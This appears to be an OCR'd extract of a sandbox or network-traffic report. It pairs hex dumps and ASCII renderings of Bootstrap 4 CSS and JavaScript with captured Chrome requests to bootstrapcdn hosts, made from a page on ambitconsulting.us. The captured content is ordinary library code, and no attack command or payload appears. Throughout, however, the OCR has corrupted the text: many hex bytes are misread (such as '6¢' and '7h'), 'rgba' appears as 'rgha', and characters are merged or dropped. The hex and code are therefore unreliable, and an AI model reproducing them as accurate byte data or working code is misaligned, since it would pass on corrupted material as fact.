Data Ascii: info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-
info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgha(23,162,184,.5)}.btn-warning{color:#212529;background-color:#f
fc107;border-color:#ffc107}

Data Raw: 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 62 64 32 31 33 30 3b 62 6f 72 64 65 72 2d 63
6f 6¢ 6f 72 3a 23 62 32 31 66 32 64 7d 2e 62 74 6e 2d 64 61 6e 67 65 72 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a
6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 64 61 6e 67 65 72
3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 3a 66 6f
63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 64 61 6e 67 65 72 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 66 6f
63 7573 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 32 30 2c 35 33 2c
36 39 2c 2e 35 29 7d 2e 62 74 6e 2d 6¢ 69 67 68 74 7b 63 6f 6¢

Data Ascii: ff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-
danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem
rgha(220,53,69,.5)}.btn-light{col

Data Raw: 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢
6f 72 3a 23 31 64 32 31 32 34 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 31 37 31 61 31 64 7d 2e 62 74 6e 2d 64 61 72
6b 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 2e 61 63 74 69 76 65 3a
66 6f 63 75 73 2¢ 2e 62 74 6e 2d 64 61 72 6b 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61
62 6¢ 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 64 61 72 6b 2e 64 72 6f 70
64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d
207267 62 61 28 35 32 2¢ 35 38 2c 36 34 2c 2e 35 29 7d 2e

Data Ascii: down-toggle{color:#fff;background-color:#1d2124;border-color:#171ald}.btn-dark:not(:disabled):not(.disabled)
.active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0
.2rem rgha(52,58,64,.5)}.
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Data

Data Raw: 32 35 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 2e 64 69 73 61 62 6C
65 64 2c 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 64 69 73 61 62 6¢ 65 64 7b 63 6f 6 6f 72
3a 2336 63 37 35 37 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62
74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28
2e 64 69 73 61 62 6¢ 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 6 75 74 6¢ 69 6e 65 2d 73 65 63 6f 6e 64 61 72
79 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 2C
2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 73 65

Data Ascii: 25,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transp
arent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):a
ctive,.show>.btn-outline-se

Data Raw: 72 67 62 61 28 34 30 2c 31 36 37 2c 36 39 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 69 6e 66 6f
7b 63 6f 6¢ 6f 72 3a 23 31 37 61 32 62 38 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢ 6f 72 3a 74 72 61 6€ 73 70 61 72
65 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23
313761 32 62 38 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 69 6e 66 6f 3a 68 6f 76 65 72 7b 63 6f 6¢ 6f 72 3a 23 66 66
66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 31 37 61 32 62 38 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a
23313761 3262 38 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 69 6e 66 6f 2e 66 6f 63 75 73 2¢ 2e 62 74 6e 2d 6f 75 74
6¢ 69 6e 65 2d 69 6e 66 6f 3a 66 6f 63 75 73 7b 62 6f 78

Data Ascii: rgha(40,167,69,.5)}.btn-outline-info{color:#17a2b8;background-color:transparent;background-image:n
one;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-i
nfo.focus,.btn-outline-info:focus{box

Data Raw: 32 31 32 35 32 39 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 66 63 31 30 37 3b 62 6f 72 64
65 72 2d 63 6f 6¢ 6f 72 3a 23 66 66 63 31 30 37 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 77 61 72 6e 69 6e 67 3a 6e 6f
7428 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75
73 2c 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 77 61 72 6e 69 6e 67 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f
74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75
74 6¢ 69 6e 65 2d 77 61 72 6e 69 6e 67 2e 64 72 6f 70 64 6 77 6e 2d 74 6f 67 67 6¢ 65 3a 66 6f 63 75 73 7b 62 6f 78 2d
73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67

Data Ascii: 212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).acti
ve:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focu
s{box-shadow:0 0 0 .2rem rg

Data Raw: 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 6¢ 69 67 68 74 2e 64 69 73 61 62 6¢ 65 64 2¢ 2e 62 74 6e 2d 6f 75 74
6c 69 6e 65 2d 6¢ 69 67 68 74 3a 64 69 73 61 62 6¢ 65 64 7h 63 6f 6¢ 6f 72 3a 23 66 38 66 39 66 61 3b 62 61 63 6b 67
72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 6¢ 69 67
68 74 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 2e 61 63 74 69 76 65
2c 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 6¢ 69 67 68 74 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2
e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 6¢ 69 67
68 74 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 7b 63 6f 6¢

Data Ascii: .btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-
light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dr
opdown-toggle{col

Data Raw: 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62 74 6e 2d 6¢ 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6¢ 6f 72 3a
233030 35 36 62 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6 65 3b 62 61 63 6b 67
72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 74 72 61
6e 7370 61 72 65 6e 74 7d 2e 62 74 6e 2d 6¢ 69 6e 6b 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 6¢ 69 6e 6b 3a 66 6f 63 75
73 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72
3a 747261 6e 73 7061 72 65 6e 74 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 2e 62 74 6e 2d 6¢ 69 6e 6b 2e 64
69 73 61 62 6¢ 65 64 2C 2e 62 74 6e 2d 6¢ 69 6e 6b 3a 64 69 73

Data Ascii: r:transparent}.btn-link:hover{color:#0056b3;text-decoration:underline;background-color:transparent;border-co
lor:transparent}.btn-link.focus, .btn-link:focus{text-decoration:underline;border-color:transparent;box-shadow:none}.btn-
link.disabled,.btn-link:dis

Data Raw: 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 63 6f 6¢ 6f 72 3a 23 32 31 32 35 32 39 3b 74 65 78 74 2d
61 6¢ 69 67 6e 3a 6¢ 65 66 74 3b 6¢ 69 73 74 2d 73 74 79 6¢ 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f
6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6¢ 69 70 3a 70 61 64 64 69 6e 67 2d 62 6f 78 3b 62 6f 72
64 65 72 3a 31 70 78 20 73 6f 6¢ 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 3b 62 6f 72 64 65 72 2d 72 61
64 69 75 73 3a 2e 32 35 72 65 6d 7d 2e 64 72 6f 70 75 70 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 6d 61 72 67
69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 31 32 35 72 65 6d 7d 2e 64 72 6f 70 75 70 20 2e
64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 3a 61 66 74 65

Data Ascii: 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-
box;border:1px solid rgha(0,0,0,.15);border-radius:.25rem}.dropup .dropdown-menu{margin-top:0;margin-bottom:.
125rem}.dropup .dropdown-toggle::afte

Data Raw: 65 3a 65 6d 70 74 79 3a 3a 61 66 74 65 72 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 30 7d 2e 64 72 6f 70 6¢ 65
66 74 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 3a 62 65 66 6f 72 65 7b 76 65 72 74 69 63 61 6¢ 2d 61 6C 69
67 6e 3a 30 7d 2e 64 72 6f 70 64 6f 77 6e 2d 64 69 76 69 64 65 72 7hb 68 65 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 3a
2e 3572 65 6d 20 30 3b 6f 76 65 72 66 6¢ 6f 77 3a 68 69 64 64 65 6 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73
6f 6¢ 69 64 20 23 65 39 65 63 65 66 7d 2e 64 72 6f 70 64 6f 77 6€ 2d 69 74 65 6d 7h 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63
6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 2e 32 35 72 65 6d 20 31 2e 35 72 65 6d 3b 63 6¢ 65 61
72 3a 62 6f 74 68 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30

Data Ascii: e:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;
margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem
1.5rem;clear:both;font-weight:40

Data Raw: 70 20 2e 62 74 6e 2d 67 72 6f 75 70 2b 2e 62 74 6e 2d 67 72 6f 75 70 2c 2e 62 74 6e 2d 67 72 6f 75 70 2d 76
6572 74 69 63 61 6¢ 20 2e 62 74 6e 2b 2e 62 74 6e 2c 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 6¢ 20 2e
62 74 6e 2b 2e 62 74 6e 2d 67 72 6f 75 70 2c 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 6¢ 20 2e 62 74 6e
2d 67 72 6f 75 70 2b 2e 62 74 6e 2c 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 6¢ 20 2e 62 74 6e 2d 67 72 6
f 7570 2b 2e 62 74 6e 2d 67 72 6f 75 70 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 2d 31 70 78 7d 2e 62 74 6e 2d 74 6f 6f
6C 62 61 72 7b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 73 2d 66 6¢C
65 78 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 2d 6d 73 2d

Data Ascii: p .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical
.btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-webkit-box;display:-ms-
flexbox;display:flex;-ms-
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Source Port

49832

Direction

ouT

Source Port

49830

Direction

ouT

Destination

Destination IP Process

Port
104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1

Host: maxcdn.bootstrapcdn.com

Connection: keep-alive

Origin: https://ambitconsulting.us

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: script

Referer: https://ambitconsulting.us/jkadnmadiuya/quad/

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Destination IP LS EE Process
Port
104.18.11.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1
Host: stackpath.bootstrapcdn.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://ambitconsulting.us/jkadnmadiuya/quad/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:24 GMT

Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

CDN-PullZone: 252412

CDN-Uid: b1941f61-b576-4f40-80de-5677ach38f74
CDN-RequestCountryCode: DE
Access-Control-Allow-Origin: *

Cache-Control: public, max-age=31919000
Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT
CDN-CachedAt: 11/15/2021 23:30:00

CDN-ProxyVer: 1.0

CDN-RequestPullCode: 200

CDN-RequestPullSuccess: True

CDN-EdgeStorageld: 723

CDN-Status: 200

timing-allow-origin: *

cross-origin-resource-policy: cross-origin
X-Content-Type-Options: nosniff

CDN-Requestld: a35b0179a28ed953258d0fb41376a09¢c
CDN-Cache: HIT

CF-Cache-Status: HIT

Age: 6387463

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare

CF-RAY: 70ab8ddlaad5914d-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 31 30 61 66 0d Oa 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70
73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31
31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69
74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6€ 74 72 69 62 75 74 6f
72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74
68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6¢ 6f 62 2f 6d 61 73 74 65 72 2f 4¢c 49 43 45 4e 53
45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28

Data Ascii: 10af/*! * Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https:
Ilgithub.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LI
CENSE) */!function(
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Data

Data Raw: 75 69 72 65 28 22 70 6f 70 70 65 72 2e 6a 73 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f
66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2¢
22 6a71 7565727922 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b
7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2¢ 65 2¢
6829 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72
20 6e 3d 30 3b 6e 3c 65 2e 6¢ 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65
72 61 62 6¢ 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6¢ 65 7C 7c 21 31

Data Ascii: uire("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.boot
strap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.
enumerable=i.enumerable||!1

Data Raw: 66 6e 2c 64 6e 2c 67 6e 2c 5f 6e 2c 6d 6e 2c 70 6e 2c 76 6e 2c 79 6e 2c 45 6e 2c 43 6e 2c 54 6e 2¢c 62 6e 2¢
53 6e 2c 49 6e 2c 41 6e 2c 44 6e 2c 77 6e 2c 4e 6e 2c 4f 6e 2c 6b 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78
6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69
74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b
72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6¢ 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2¢ 66 75 6e 6
3 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7h 6e 7c 7c
6C 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64

Data Ascii: fn,dn,gn,_n,mn,pn,vn,yn,En,Cn,Tn,bn,Sn,In,An,Dn,wn,Nn,On,kn,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,gn,Fn=function(i)
{var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(. TRANSITION_END,function(){n=!0}),setTimeout
(function(){n||.triggerTransitionEnd

Data Raw: 6¢ 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 69 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68
69 7329 29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6¢ 65 4f 62 6a 2e 68 61 6e 64 6¢ 65 72 2e 61 70 70 6¢ 79 28 74 68
69 73 2¢ 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6¢ 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6¢ 65 72 74 22 2c 61 3d 22
2e 22 2b 28 6f 3d 22 62 73 2e 61 6¢ 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53
45 3a 22 63 6¢ 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6¢ 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41
5f 41 50 49 3a 22 63 6¢ 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6¢ 65 72 74 22 2c 64
3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74

Data Ascii: le:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}},I}(e),Kn=(n="alert",a="."+(o
="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert

" d="fade",g="show",_=funct

Data Raw: 37 66 66 61 0d Oa 22 63 6¢ 6f 73 65 22 3d 3d 3d 6e 26 26 65 5b 6e 5d 28 74 68 69 73 29 7d 29 7d 2c 69 2e 5f
68 61 6e 64 6¢ 65 44 69 73 6d 69 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7h 72 65 74 75 72 6e 20 66 75 6e 63 74 69
6f 6e 28 74 29 7b 74 26 26 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2c 65 2e 63 6¢ 6f 73 65 28 74 68 69
7329 7d 7d 2c 73 28 69 2c 6e 75 6¢ 6¢ 2¢ 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 6
9 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 5d 29 2c 69 7d 28 29 2c 72 28 64 6f 63 75 6d 65 6e 74 29
2e 6f 6e 28 75 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2c 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 61 6¢C 65
72 74 22 5d 27 2c 5f 2e 5f 68 61 6e 64 6¢ 65 44 69 73 6d 69 73 73

Data Ascii: 7ffa"close"===n&&e[n](this)})},i._handleDismiss=function(e){return function(t){t&&t.preventDefault(),e.close
(this)}},s(i,null,[{key:"VERSION",get:function(){return“4.1.3"}}]),i}(),r(document).on(u.CLICK_DATA_API,'[data-dismiss="
alert"],_._handleDismiss

Data Raw: 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65
61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7hb 76 61 72 20 74 3d 6d 28 74 68 69 73 29 2e 64 61 74 61 28 76 29 3b 74 7c
7c 2874 3d 6e 65 77 20 6e 28 74 68 69 73 29 2c 6d 28 74 68 69 73 29 2e 64 61 74 61 28 76 2c 74 29 29 2¢ 22 74 6f 67 6
7 6¢ 65 22 3d 3d 3d 65 26 26 74 5b 65 5d 28 29 7d 29 7d 2c 73 28 6e 2c 6e 75 6¢ 6¢ 2¢ 5b 7b 6b 65 79 3a 22 56 45 52
53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7h 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 5d 29 2c
6e 7d 28 29 2c 6d 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 4f 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66
75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61

Data Ascii: Interface=function(e){return this.each(function(){var t=m(this).data(v);t||(t=new n(this),m(this).data(v,t))
,"toggle"===e&&t[e]()})},s(n,null,[{key:"VERSION" get:function(){return“4.1.3"}}]),n}(),m(document).on(O.CLICK
_DATA_API, | function(t){t.preventDefa

Data Raw: 75 73 65 6¢ 22 5d 27 2c 6f 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6 20 6f 28 74 2c 65
29 7b 74 68 69 73 2e 5f 69 74 65 6d 73 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6¢ 3d 6e 75 6¢ 6¢ 2C
74 6869 73 2e 5f 61 63 74 69 76 65 45 6¢ 65 6d 65 6e 74 3d 6e 75 6¢ 6C 2¢ 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64
3d 21 31 2c 74 68 69 73 2e 5f 69 73 53 6¢ 69 64 69 6e 67 3d 21 31 2¢c 74 68 69 73 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74
3d 6e 75 6¢ 6¢ 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68
69 73 2e 5f 65 6¢ 65 6d 65 6e 74 3d 50 28 74 29 5b 30 5d 2c 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6¢ 65 6d
65 6e 74 3d 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 71 75 65

Data Ascii: usel"]',ot=function(){function o(t,e){this._items=null,this._interval=null,this._activeElement=null,this._is
Paused=!1,this._isSliding=!1,this.touchTimeout=null,this._config=this._getConfig(e),this._element=P(t)[0],this._indicato
rsElement=this._element.que

Data Raw: 28 29 7b 50 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 6f 66 66 28 4c 29 2c 50 2e 72 65 6d 6f 76 65 44
6174 61 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2c 48 29 2¢ 74 68 69 73 2e 5f 69 74 65 6d 73 3d 6e 75 6¢ 6¢ 2C 74
68 69 73 2e 5f 63 6f 6e 66 69 67 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6€ 74 3d 6€ 75 6C 6C 2C 74 68 69 73
2e 5f 69 6e 74 65 72 76 61 6¢ 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 6e 75 6¢ 6¢ 2c 74 68 69 73
